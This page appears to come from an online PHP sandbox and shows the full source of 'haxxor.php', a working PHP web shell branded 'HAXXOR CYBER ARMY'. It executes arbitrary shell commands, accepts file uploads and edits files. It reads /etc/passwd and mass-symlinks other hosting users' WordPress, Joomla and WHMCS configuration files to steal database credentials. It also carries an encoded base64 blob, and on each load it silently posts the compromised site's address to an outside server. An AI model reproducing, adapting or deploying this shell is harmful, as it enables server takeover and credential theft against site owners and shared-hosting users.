haxxor - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of haxxor.php

  1. <!DOCTYPE HTML>
  2. <html lang="en" class="no-js">
  3. <HEAD>
  4. <title>-:- HAXXOR CYBER ARMY -:-</title>
  5. <script type="text/javascript">
  6.         var message = new Array() // leave this as is
  7.                 message[0] = "-:- HAXXOR CYBER ARMY -:-";
  8.  
  9.                 message[1] = "-:- HAXXOR CYBER ARMY -:-";
  10.  
  11.                 message[2] = "-_";
  12.  
  13.                 message[3] = "-:_";
  14.  
  15.                 message[4] = "-:-_";
  16.  
  17.                 message[5] = "-:- _";
  18.  
  19.                 message[6] = "-:-";
  20.  
  21.                 message[7] = "-:- H_";
  22.  
  23.                 message[8] = "-:- HA_";
  24.  
  25.                 message[9] = "-:- HAX_";
  26.  
  27.                 message[10] = "-:- HAXX_";
  28.  
  29.                 message[11] = "-:- HAXXO_ ";
  30.  
  31.                 message[12] = "-:- HAXXOR_";
  32.  
  33.                 message[13] = "-:- HAXXOR C_";
  34.  
  35.                 message[14] = "-:- HAXXOR CY_";
  36.  
  37.                 message[15] = "-:- HAXXOR CYB_";
  38.  
  39.                 message[16] = "-:- HAXXOR CYBE_";
  40.  
  41.                 message[17] = "-:- HAXXOR CYBER_";
  42.  
  43.                 message[18] = "-:- HAXXOR CYBER A_";
  44.  
  45.                 message[19] = "-:- HAXXOR CYBER AR_";
  46.  
  47.                 message[20] = "-:- HAXXOR CYBER ARM_";
  48.  
  49.                 message[21] = "-:- HAXXOR CYBER ARMY_";
  50.  
  51.                 message[22] = "-:- HAXXOR CYBER ARMY_";
  52.  
  53.                 message[23] = "-:- HAXXOR CYBER ARMY_";
  54.  
  55.                 message[24] = "-:- HAXXOR CYBER ARMY _";
  56.  
  57.                 message[25] = "-:- HAXXOR CYBER ARMY";
  58.  
  59.                 message[26] = "-:- HAXXOR CYBER ARMY -_";
  60.  
  61.                 message[27] = "-:- HAXXOR CYBER ARMY -:_";
  62.  
  63.                 message[28] = "-:- HAXXOR CYBER ARMY -:-_";
  64.  
  65.                 message[29] = "-:- HAXXOR CYBER ARMY -:-";
  66.  
  67.                 message[30] = "-:- HAXXOR CYBER ARMY -:-_";
  68.  
  69.                 message[31] = "-:- HAXXOR CYBER ARMY -:-";
  70.  
  71.                 message[32] = "-:- HAXXOR CYBER ARMY -:-_";
  72.  
  73.         var reps = 2
  74.         var speed =20
  75.         var p=message.length;
  76.  
  77.         var T="";
  78.  
  79.         var C=0;
  80.  
  81.         var mC=0;
  82.  
  83.         var s=0;
  84.  
  85.         var sT=null;
  86.  
  87.         if(reps<1)reps=1;
  88.  
  89.         function doTheThing(){
  90.         T=message[mC];
  91.  
  92.         A();
  93. }
  94.         function A(){
  95.         s++
  96.         if(s>9){s=1}
  97.         if(s==1){document.title=' '+T+' '}
  98.         if(C<(8*reps)){
  99.         sT=setTimeout("A()",speed);
  100.  
  101.         C++
  102.         }else{
  103.         C=0;
  104.  
  105.         s=0;
  106.  
  107.         mC++
  108.         if(mC>p-1)mC=0;
  109.  
  110.         sT=null;
  111.  
  112.         doTheThing();
  113. }}
  114.         doTheThing();
  115.  
  116. </script>
  117. <link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
  118. <link href="http://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
  119. <link href="http://fonts.googleapis.com/css?family=Homenaje" rel="stylesheet" type="text/css">
  120. <link rel="shortcut icon" href="https://lh3.googleusercontent.com/-yKAYJuGA9dc/V1BXHLL2SaI/AAAAAAAAABY/fKEVg9XGZr0D2uiqmp2LCBHe65gSDHMMACCo/s512/icon-sc0.jpg" type="image/x-icon">
  121. <meta name='author' content='HCA-TEAM'>
  122. <meta charset="UTF-8">
  123. <style type="text/css">
  124.                 body {
  125.     background: url(https://i.ibb.co/BqLfn3Q/34-341869-lonely-wallpaper-027-wanderlust-wallpaper-hd.jpg);
  126.     width: 100%;
  127.     height: 100%;
  128.     position: auto;
  129.     background-position: center;
  130.     background-size: cover;
  131.  
  132.                  color: springgreen;
  133.  
  134.                  font-family :Homenaje;
  135.  
  136.                 }
  137.  
  138.                 #down{
  139.                         margin-bottom: 50px;
  140.  
  141.                 }
  142.  
  143.                 #content .first {
  144.                         background-color: black;
  145.  
  146.                 }
  147.  
  148.                 a {
  149.                         color: white;
  150.  
  151.                         text-decoration: none;
  152.  
  153.                 }
  154.  
  155.                 input,select,textarea{
  156.                         border: 1px #000000 solid;
  157.  
  158.                         -moz-border-radius: 5px;
  159.  
  160.                         -webkit-border-radius:5px;
  161.  
  162.                         border-radius:5px;
  163.  
  164.                 }
  165.  
  166.                 #menu {
  167.                         background:transparent;
  168.  
  169.                         margin:8px 2px 4px 2px;
  170.  
  171.                         font-family:Fredericka the Great;
  172.  
  173.                         font-size:14px;
  174.  
  175.                         color:silver;
  176.  
  177.                 }
  178.  
  179.                 #menu a {
  180.                         padding:3px 6px;
  181.  
  182.                         margin:1;
  183.  
  184.                         background:#2d2b2b;
  185.  
  186.                         text-decoration:none;
  187.  
  188.                         letter-spacing:2px;
  189.  
  190.                         -moz-border-radius: 10px;
  191.  -webkit-border-radius: 5px;
  192.  -khtml-border-radius: 5px;
  193.  border-radius: 5px;
  194.  
  195.                 }
  196.  
  197.                 #menu a:hover {
  198.                         background:black;
  199.  
  200.                         border-bottom:1px solid #ffffff;
  201.  
  202.                         border-top:1px solid #ffffff;
  203.  
  204.                 }
  205.  
  206.                 .tombolupil {
  207.                         background:black;
  208.  
  209.                         color:white;
  210.  
  211.                         margin:0 10px;
  212.  
  213.                         font-family:Homenaje;
  214.  
  215.                         font-size:16px;
  216.  
  217.                         border:2px solid crimson;
  218.  
  219.                 }
  220.  
  221.                 .tombolupil:hover {
  222.                         background:crimson;
  223.  
  224.                         color:white;
  225.  
  226.                         margin:0 10px;
  227.  
  228.                         font-family:Homenaje;
  229.  
  230.                         font-size:16px;
  231.  
  232.                         border:2px solid crimson;
  233.  
  234.                 } 
  235.  
  236.                 .bordergaya {
  237.                         background:black;
  238.  
  239.                         color:white;
  240.  
  241.                         margin:0 10px;
  242.  
  243.                         font-family:Homenaje;
  244.  
  245.                         font-size:16px;
  246.  
  247.                         border:2px solid #2d2b2b;
  248.  
  249.                 }
  250.  
  251.                 .bordergaya:hover {
  252.                         background:#2d2b2b;
  253.  
  254.                         color:white;
  255.  
  256.                         margin:0 10px;
  257.  
  258.                         font-family:Homenaje;
  259.  
  260.                         font-size:16px;
  261.  
  262.                         border:2px solid crimson;
  263.  
  264.                 }
  265.  
  266.                 .justborder {
  267.                         background:black;
  268.  
  269.                         color:white;
  270.  
  271.                         margin:0 10px;
  272.  
  273.                         font-family:Homenaje;
  274.  
  275.                         font-size:16px;
  276.  
  277.                         border:2px solid #2d2b2b;
  278.  
  279.                 }
  280.  
  281.                 .rapihbanget {
  282.                         text-align: left;
  283.  
  284.                         font-size: 16px;
  285.  
  286.                         color: springgreen;
  287.  
  288.                         font-family: Homenaje;
  289.  
  290.                         margin-left: 38%;
  291.  
  292.                 }
  293.  
  294.                 .kecew {
  295.                         text-align: left;
  296.  
  297.                         font-size: 15px;
  298.  
  299.                         color: white;
  300.  
  301.                         font-family: Homenaje;
  302.  
  303.                 }
  304.  
  305.                 /* STYLE UPIL BIAR KEKINIAN */
  306.  
  307.                 .js .inputfile{
  308.                  width: 0.1px;
  309.  
  310.                  height: 0.1px;
  311.  
  312.                  opacity: 0;
  313.  
  314.                  overflow: hidden;
  315.  
  316.                  position: absolute;
  317.  
  318.                  z-index: -1;
  319.  
  320.                 }
  321.  
  322.                 .inputfile + label {
  323.                  max-width: 80%;
  324.  
  325.                  font-size: 1.25rem;
  326.  
  327.                  /* 20px */
  328.                  font-weight: 700;
  329.  
  330.                  text-overflow: ellipsis;
  331.  
  332.                  white-space: nowrap;
  333.  
  334.                  cursor: pointer;
  335.  
  336.                  display: inline-block;
  337.  
  338.                  overflow: hidden;
  339.  
  340.                  padding: 0.625rem 1.25rem;
  341.  
  342.                  /* 10px 20px */
  343.                 }
  344.  
  345.                 .no-js .inputfile + label {
  346.                  display: none;
  347.  
  348.                 }
  349.  
  350.                 .inputfile:focus + label,
  351.                 .inputfile.has-focus + label {
  352.                  outline: 1px dotted #000;
  353.  
  354.                  outline: -webkit-focus-ring-color auto 5px;
  355.  
  356.                 }
  357.  
  358.                 .inputfile + label * {
  359.                  /* pointer-events: none;
  360.  */
  361.                  /* in case of FastClick lib use */
  362.                 }
  363.  
  364.                 .inputfile + label svg {
  365.                  width: 1em;
  366.  
  367.                  height: 1em;
  368.  
  369.                  vertical-align: middle;
  370.  
  371.                  fill: currentColor;
  372.  
  373.                  margin-top: -0.25em;
  374.  
  375.                  /* 4px */
  376.                  margin-right: 0.25em;
  377.  
  378.                  /* 4px */
  379.                 }
  380.  
  381.                 .inputfile-4 + label {
  382.                  color: white;
  383.  
  384.                         font-family:Homenaje;
  385.  
  386.                         font-size:15px;
  387.  
  388.                 }
  389.  
  390.                 .inputfile-4:focus + label,
  391.                 .inputfile-4.has-focus + label,
  392.                 .inputfile-4 + label:hover {
  393.                  color: crimson;
  394.  
  395.                 }
  396.  
  397.                 .inputfile-4 + label figure {
  398.                  width: 50px;
  399.  
  400.                  height: 50px;
  401.  
  402.                  border-radius: 25%;
  403.  
  404.                  background-color: crimson;
  405.  
  406.                  display: block;
  407.  
  408.                  padding: 10px;
  409.  
  410.                  margin: 0 auto 10px;
  411.  
  412.                 }
  413.  
  414.                 .inputfile-4:focus + label figure,
  415.                 .inputfile-4.has-focus + label figure,
  416.                 .inputfile-4 + label:hover figure {
  417.                  background-color: white;
  418.  
  419.                 }
  420.  
  421.                 .inputfile-4 + label svg {
  422.                  width: 100%;
  423.  
  424.                  height: 100%;
  425.  
  426.                  fill: black;
  427.  
  428.                 }
  429.  
  430. </style>
  431. </HEAD>
  432. <BODY>
  433. <center>
  434.  
  435. <?php set_time_limit(0);
  436.  error_reporting(0);
  437.  if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value);
  438.  } } $self=$_SERVER['PHP_SELF'];
  439.  $srvr_sof=$_SERVER['SERVER_SOFTWARE'];
  440.  $your_ip=$_SERVER['REMOTE_ADDR'];
  441.  $srvr_ip=$_SERVER['SERVER_ADDR'];
  442.  $admin=$_SERVER['SERVER_ADMIN'];
  443.  $ip = file_get_contents("http://iplookgeo.com/api/index.php", false, stream_context_create(array("http" => array("header" => "Content-Type: application/x-www-form-urlencoded", "method" => "POST", "content" => http_build_query(array("1" => $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]))))));
  444. isset($_FILES['a'])?copy($_FILES['a']['tmp_name'],$_FILES['a']['name']):0;
  445.  function exe($cmd) { if(function_exists('system')) { @ob_start();
  446.  @system($cmd);
  447.  $buff = @ob_get_contents();
  448.  @ob_end_clean();
  449.  return $buff;
  450.  } elseif(function_exists('exec')) { @exec($cmd,$results);
  451.  $buff = "";
  452.  foreach($results as $result) { $buff .= $result;
  453.  } return $buff;
  454.  } elseif(function_exists('passthru')) { @ob_start();
  455.  @passthru($cmd);
  456.  $buff = @ob_get_contents();
  457.  @ob_end_clean();
  458.  return $buff;
  459.  } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd);
  460.  return $buff;
  461.  } } function perms($file){ $perms = fileperms($file);
  462.  if (($perms & 0xC000) == 0xC000) { $info = 's';
  463.  } elseif (($perms & 0xA000) == 0xA000) { $info = 'l';
  464.  } elseif (($perms & 0x8000) == 0x8000) { $info = '-';
  465.  } elseif (($perms & 0x6000) == 0x6000) { $info = 'b';
  466.  } elseif (($perms & 0x4000) == 0x4000) { $info = 'd';
  467.  } elseif (($perms & 0x2000) == 0x2000) { $info = 'c';
  468.  } elseif (($perms & 0x1000) == 0x1000) { $info = 'p';
  469.  } else { $info = 'u';
  470.  } $info .= (($perms & 0x0100) ? 'r' : '-');
  471.  $info .= (($perms & 0x0080) ? 'w' : '-');
  472.  $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
  473.  $info .= (($perms & 0x0020) ? 'r' : '-');
  474.  $info .= (($perms & 0x0010) ? 'w' : '-');
  475.  $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
  476.  $info .= (($perms & 0x0004) ? 'r' : '-');
  477.  $info .= (($perms & 0x0002) ? 'w' : '-');
  478.  $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
  479.  return $info;
  480.  } function getfile($urlfile, $content) { $fp = fopen($content, "w");
  481.  $ch = curl_init();
  482.  curl_setopt($ch, CURLOPT_URL, $urlfile);
  483.  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  484.  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  485.  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  486.  curl_setopt($ch, CURLOPT_FILE, $fp);
  487.  return curl_exec($ch);
  488.  curl_close($ch);
  489.  fclose($fp);
  490.  ob_flush();
  491.  flush();
  492.  } $zoneH="lVRti9s4EP4eyH+YimUdQxrvbqF3JLa5ct1Cub3dkqRf7lKC4kxisbJkJLlJWva/d+SXJu1uaWsIkUbz8swzj4RZrlm/F2eoHJo03mhTQIEu1+tkwd7dzeYLlvZ7/wpjtIExeVqUmDnIJLc2CVbarNFs+YEHoHiBFFTUvnVYrEsntEo/aYXP8zhqt3QQNWnSeGVoe6ud2KCBW8owhliosuoqLNixxIKBO5S+hsO9o10peYa5lnTu0VbO8OevnOPZPRKADtAaN+TmDVZ88oYXV4SuqfxaF1woC2O/jX1abpA/Xdu6g/ThO7F2+Rhe/vFnuZ9AjmKbuzG8uLii7UnVJrOvFHV526K/0KCtVoXwLX7ksvKGGar1MflWN/xGfl5+4dHTj036Pej3LLqlEwUupaAsMLgIyS42MHi2qVTmZ7DEvbDOwoBllZFLoYRjYfh5LZBM81xYmGVGlA4qixay99MbuBErw81hCAddQVFZB9Se41LCRhjaPatBcMgNbpIgd64cRxGvrkZlXo4UuqjgquIyQhX5miMCWZX+MEh/wzmOeMrCyUPdp2/pr7Oll+n/wVYHH8J+7zOdtB+RgzzLYYD7Uuq1b22h2BC6iHZEFAbcwlmzDY/xJ6m6r9TU6aB1PcnUSCz4cDQ114ByT45ZHo5LpIsHrJsb0UYC2aJLguVKcnUffEtjc4FGmS4ibrJcfMSorFZS2BzXyUWQ/tdeMP5VBQ1B3bg73EQlIWzR0qoB+S1rZ8RYAl9lAYPTDmozDYNuMqXL8iH8Tdq4ezdfTq/n76e38+mr29mb6+kQLn8tzJPVOR/97U44P7gjwCdmknGLwBpq2OTxrH5clP6GwFpud7vd6IRf5d+iQ2SF2kpk4W/l9c28eXt983pG6VuWk47u80Y0l4mfwnlOj1RBmkwuz0mkVqvk8sliXuKlwe2y4DUjLMq01P65M0gPQnr3T7ygV0DRU7qIpEgj0ncNEPeY1fDCMHyc9jsZtreWjZgHR3+dHGnZCJIWaWxLrtpnMKhhjGFrEFWQ+jAgLJF3SU+F+KiitPhTPE8UonbbMtdeEl2lH1RZEan3J3Y/g0q68c89H75TbSY1yawm0l+rLw==   ";
  493.  echo '<script>(function(e,t,n){var r=e.querySelectorAll("html")[0];
  494. r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);
  495. </script>';
  496.  echo "<center><br><font color='gold' size='10px' face='Fredericka the Great'>
  497.  Haxxor Cyber Team
  498. </font></center>";
  499.  echo "<center><font color='silver' siz='4px' face='Fredericka the Great'>[+] By V0dk4 [+]</font></center><br/>";
  500.  echo"
  501. <font size='4' color='Teal' face='Jolly Lodger'>
  502. <center>".php_uname()."<br>
  503. ".$software = getenv("SERVER_SOFTWARE");
  504.  echo"<p>";
  505.  echo"
  506. <font size='3.5' color='white'><p>
  507.  Your IP : <font color=gold> ".$your_ip."</font> <font color=springgreen>|</font> <font color=\"#fff2f2\" > </font> Server IP : <font color=gold>".$srvr_ip."</font> <font color=\"#fff2f2\" ><br>
  508.  
  509.                         </font>
  510. </font>
  511.  </div>
  512.  </td>
  513.  </tr>
  514.  </tbody>
  515. </table></div>
  516. </font>";
  517.  $disablefunctions = @ini_get("disable_functions");
  518.  $echo_disablefunctions = (!empty($disablefunctions)) ? "<font color=white>".$disablefunctions."</font>" : "<font color=white>HCA-Team Cyber Security Expert</font>";
  519.  echo '<br/><font size="4" style="font-family:Jolly Lodger;
  520.  color:teal;
  521. ">
  522. <tr><td> Disable Functions: '.$echo_disablefunctions.'</font><br/></td></tr>';
  523.  echo '<br/><font size="4" style="font-family:Jolly Lodger;
  524. ">
  525. <tr><td> Your Path Location :';
  526.  if(isset($_GET['path'])){ $path = $_GET['path'];
  527.  }else{ $path = getcwd();
  528.  } $path = str_replace('\\','/',$path);
  529.  $paths = explode('/',$path);
  530.  foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true;
  531.  echo '<a href="?path=/">/</a>';
  532.  continue;
  533.  } if($pat == '') continue;
  534.  echo '<a href="?path=';
  535.  for($i=0;
  536. $i<=$id;
  537. $i++){ echo "$paths[$i]";
  538.  if($i != $id) echo "/";
  539.  } echo '">'.$pat.'</a>/';
  540.  } echo '</font>';
  541.  $putraganteng=getcwd();
  542.  $putraganteng=$path;
  543.  
  544. ?>
  545.  
  546.  
  547. <?php echo"<center>
  548.                <table>
  549.                        <tr>
  550.                        <td>
  551.                         <form style='float:right;
  552. ' method='POST'><input name='path' value=".$putraganteng." type=hidden>
  553.                                          <input class=bordergaya type='submit' value='Create New File' >
  554.                                          <input class=bordergaya size='40' name='new_file' /></form>
  555.                          </td>
  556.                        <td>
  557.                         <form style='float:left;
  558. ' method='POST'><input name='path' value=".$putraganteng." type=hidden>
  559.                                        <input class=bordergaya size='40' name='new_dir'>
  560.                                         <input class=bordergaya type='submit' value='Create New Folder' /></form>
  561.                        </td>
  562.                        </tr>
  563.                </table>
  564.         </center>";
  565.  function mk_file_ui(){ chdir($_POST['path']);
  566.  echo "<font color='springgreen'><form method='POST'>
  567.          <input type='hidden' name='path' value=".getcwd().">
  568.          <br/>New File Name : <input class=bordergaya size='40' name='new_f_name' value=".$_POST['new_file']."></font><br /><br /><center>
  569.          <textarea spellcheck='false' cols='80' rows='15' class=bordergaya name='n_file_content'></textarea></center><br>
  570.          <input class='bordergaya' type='submit' value=' Save ' /></form></center></div>";
  571.  die();
  572.  } function mk_file_bg(){ chdir($_POST['path']);
  573.  $c_path=$_POST['path'];
  574.  $c_file=$_POST['new_f_name'];
  575.  $c_file_contents=$_POST['n_file_content'];
  576.  $handle=fopen($c_file, "w");
  577.  if(!$handle){ echo '<script>alert("Failed :(");
  578. </script>';
  579.  }else{ fwrite($handle,$c_file_contents);
  580.  echo '<script>alert("File Saved!!");
  581. </script>';
  582.  } fclose($handle);
  583.  } function create_dir(){ chdir($_POST['path']);
  584.  $new_dir=$_POST['new_dir'];
  585.  if(is_writable($_POST['path'])){ mkdir($new_dir);
  586.  echo '<script>alert("Creating Folder Success!!");
  587. </script>';
  588.  }else{ echo '<script>alert("Creating Folder Failed!!");
  589. </script>';
  590.  } } 
  591. ?>
  592.  
  593. <!-- menu main -->
  594. <br><center><div id="menu">
  595. [<a href="?">Home</a>] <font color=orange>=</font>
  596. [<a href="?
  597. <?php echo "path=".$path;
  598.  
  599. ?>&
  600. x=korong">Upload</a>] <font color=orange>=</font>
  601. [<a href="?
  602. <?php echo "path=".$path;
  603.  
  604. ?>&
  605. x=cmd">Command</a>] <font color=orange>=</font>
  606. [<a href="?
  607. <?php echo "path=".$path;
  608.  
  609. ?>&
  610. x=grabc">Config Grabber</a>] <font color=orange>=</font>
  611. [<a href="?
  612. <?php echo "path=".$path;
  613.  
  614. ?>&
  615. x=vn">Domain Viewer</a>] <font color=orange>=</font>
  616. [<a href="?
  617. <?php echo "path=".$path;
  618.  
  619. ?>&
  620. x=masstool">Mass Tool</a>] <font color=orange>=</font>
  621. [<a href="?
  622. <?php echo "path=".$path;
  623.  
  624. ?>&
  625. x=cpanel">Cpanel Tool</a>]
  626. <br><br>
  627. [<a href="?
  628. <?php echo "path=".$path;
  629.  
  630. ?>&
  631. x=bypstuls">Bypass Tools</a>] <font color=orange>=</font>
  632. [<a href="?
  633. <?php echo "path=".$path;
  634.  
  635. ?>&
  636. x=fcrot">File Creator</a>] <font color=orange>=</font>
  637. [<a href="?
  638. <?php echo "path=".$path;
  639.  
  640. ?>&
  641. x=krdp">Create RDP</a>] <font color=orange>=</font>
  642. [<a href="?
  643. <?php echo "path=".$path;
  644.  
  645. ?>&
  646. x=jumping">Jumping</a>] <font color=orange>=</font>
  647. [<a href="?
  648. <?php echo "path=".$path;
  649.  
  650. ?>&
  651. x=dump">Dumper Tools</a>] <font color=orange>=</font>
  652. [<a href="?
  653. <?php echo "path=".$path;
  654.  
  655. ?>&
  656. x=tentang">About</a>]
  657. </div></center>
  658. <audio autoplay> <source src="https://audio.jukehost.co.uk/qtFOnO0lT0pbONv8rK8VyIPUbORuHJE7" type="audio/mpeg"></audio>
  659.  
  660.  
  661. <?php if(isset($_GET['filesrc'])){ echo "<br /><tr><td>You Are Looking : ";
  662.  echo $_GET['filesrc'];
  663.  echo '</tr></td></table>';
  664.  echo('<br /><br /><textarea rows="20" cols="80">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  665.  die();
  666.  } else if(isset($_POST['path']) && isset($_POST['new_file'])){ chdir($_POST['path']);
  667.  mk_file_ui();
  668.  }else if(isset($_POST['path']) && isset($_POST['new_f_name']) && isset($_POST['n_file_content'])){ mk_file_bg();
  669.  }else if(isset($_POST['path']) && isset($_POST['new_dir'])){ chdir($_POST['path']);
  670.  create_dir();
  671.  } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  672.  if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo '<script>alert("Change Permission Success!");
  673. </script>';
  674.  }else{ echo '<script>alert("Change Permission Failed!");
  675. </script>';
  676.  } } echo '<form method="POST">
  677.                                 Permission : <input name="perm" class="bordergaya" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  678.                                 <input type="hidden" name="path" value="'.$_POST['path'].'">
  679.                                 <input type="hidden" name="opt" value="chmod">
  680.                                 <input class="bordergaya" type="submit" value="Go" />
  681.                                 </form>';
  682.  }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo '<script>alert("Change Name Success!");
  683. </script>';
  684.  }else{ echo '<script>alert("Change Name Failed!");
  685. </script>';
  686.  } $_POST['name'] = $_POST['newname'];
  687.  } echo '<form method="POST">
  688.                                 New Name : <input class="bordergaya" name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  689.                                 <input type="hidden" name="path" value="'.$_POST['path'].'">
  690.                                 <input type="hidden" name="opt" value="rename">
  691.                                 <input class="bordergaya" type="submit" value="Go" />
  692.                                 </form>';
  693.  }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w');
  694.  if(fwrite($fp,$_POST['src'])){ echo '<script>alert("Edit File Success!");
  695. </script>';
  696.  }else{ echo '<script>alert("Edit File Failed!");
  697. </script>';
  698.  } fclose($fp);
  699.  } echo '<form method="POST">
  700.                                 <textarea class="bordergaya" cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  701.                                 <input type="hidden" name="path" value="'.$_POST['path'].'">
  702.                                 <input type="hidden" name="opt" value="edit">
  703.                                 <input class="bordergaya" type="submit" value="Go" />
  704.                                 </form>';
  705.  } echo '</center>';
  706.  die();
  707.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'grabc')){ @ini_set('output_buffering',0);
  708.  echo "
  709. <form method='POST'>
  710. </head>
  711. <style>
  712. textarea {
  713. resize:none;
  714.  
  715. color: #000000 ;
  716.  
  717. background-color:#000000;
  718.  
  719. font-size:8pt;
  720.  color:#ffffff;
  721.  
  722. border:1px solid white ;
  723.  
  724. border-left: 4px solid white ;
  725.  
  726. width:543px;
  727.  
  728. height:400px;
  729.  
  730. }
  731. input {
  732. color: #000000;
  733.  
  734. border:1px dotted white;
  735.  
  736. }
  737. </style>";
  738.  echo "<center>";
  739.  
  740. ?></center><br><center>
  741. <?php if (empty($_POST['config'])) { 
  742. ?><p><font face="Homenaje" color="springgreen" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='bordergaya' rows='15' cols='60'>
  743. <?php echo file_get_contents('/etc/passwd');
  744.  
  745. ?></textarea><br><br><input name="config" class='bordergaya' size="100" value="Grab!" type="submit"><br></form></center><br>
  746. <?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");
  747. if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');
  748. }@mkdir('Stupidc0de-Conf', 0755);
  749. @chdir('Stupidc0de-Conf');
  750.  $htaccess="
  751. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  752. Options Indexes FollowSymLinks
  753. ForceType text/plain
  754. AddType text/plain .php
  755. AddType text/plain .html
  756. AddType text/html .shtml
  757. AddType txt .php
  758. AddHandler server-parsed .php
  759. AddHandler txt .php
  760. AddHandler txt .html
  761. AddHandler txt .shtml
  762. Options All
  763. Options All";
  764.  file_put_contents(".htaccess",$htaccess,FILE_APPEND);
  765. $passwd=$_POST["passwd"];
  766.  $passwd=explode("\n",$passwd);
  767.  echo "<br><br><center><font face='Homenaje' color=Crimson size=2pt>Calm And Again In Process...</center><br>";
  768.  foreach($passwd as $pwd){ $pawd=explode(":",$pwd);
  769. $user =$pawd[0];
  770.  @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  771.  @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  772.  @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  773.  @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  774.  @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  775.  @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  776.  @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  777.  @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  778.  @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  779.  @symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
  780.  @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  781.  @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  782.  @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  783.  @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  784.  @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  785.  @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  786.  @symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
  787.  @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  788.  @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  789.  @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
  790.  @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  791.  @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
  792.  @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  793.  @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  794.  @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  795.  @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  796.  @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  797.  @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  798.  @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  799.  @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  800.  @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  801.  @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  802.  @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  803.  @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  804.  @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  805.  @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  806.  @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
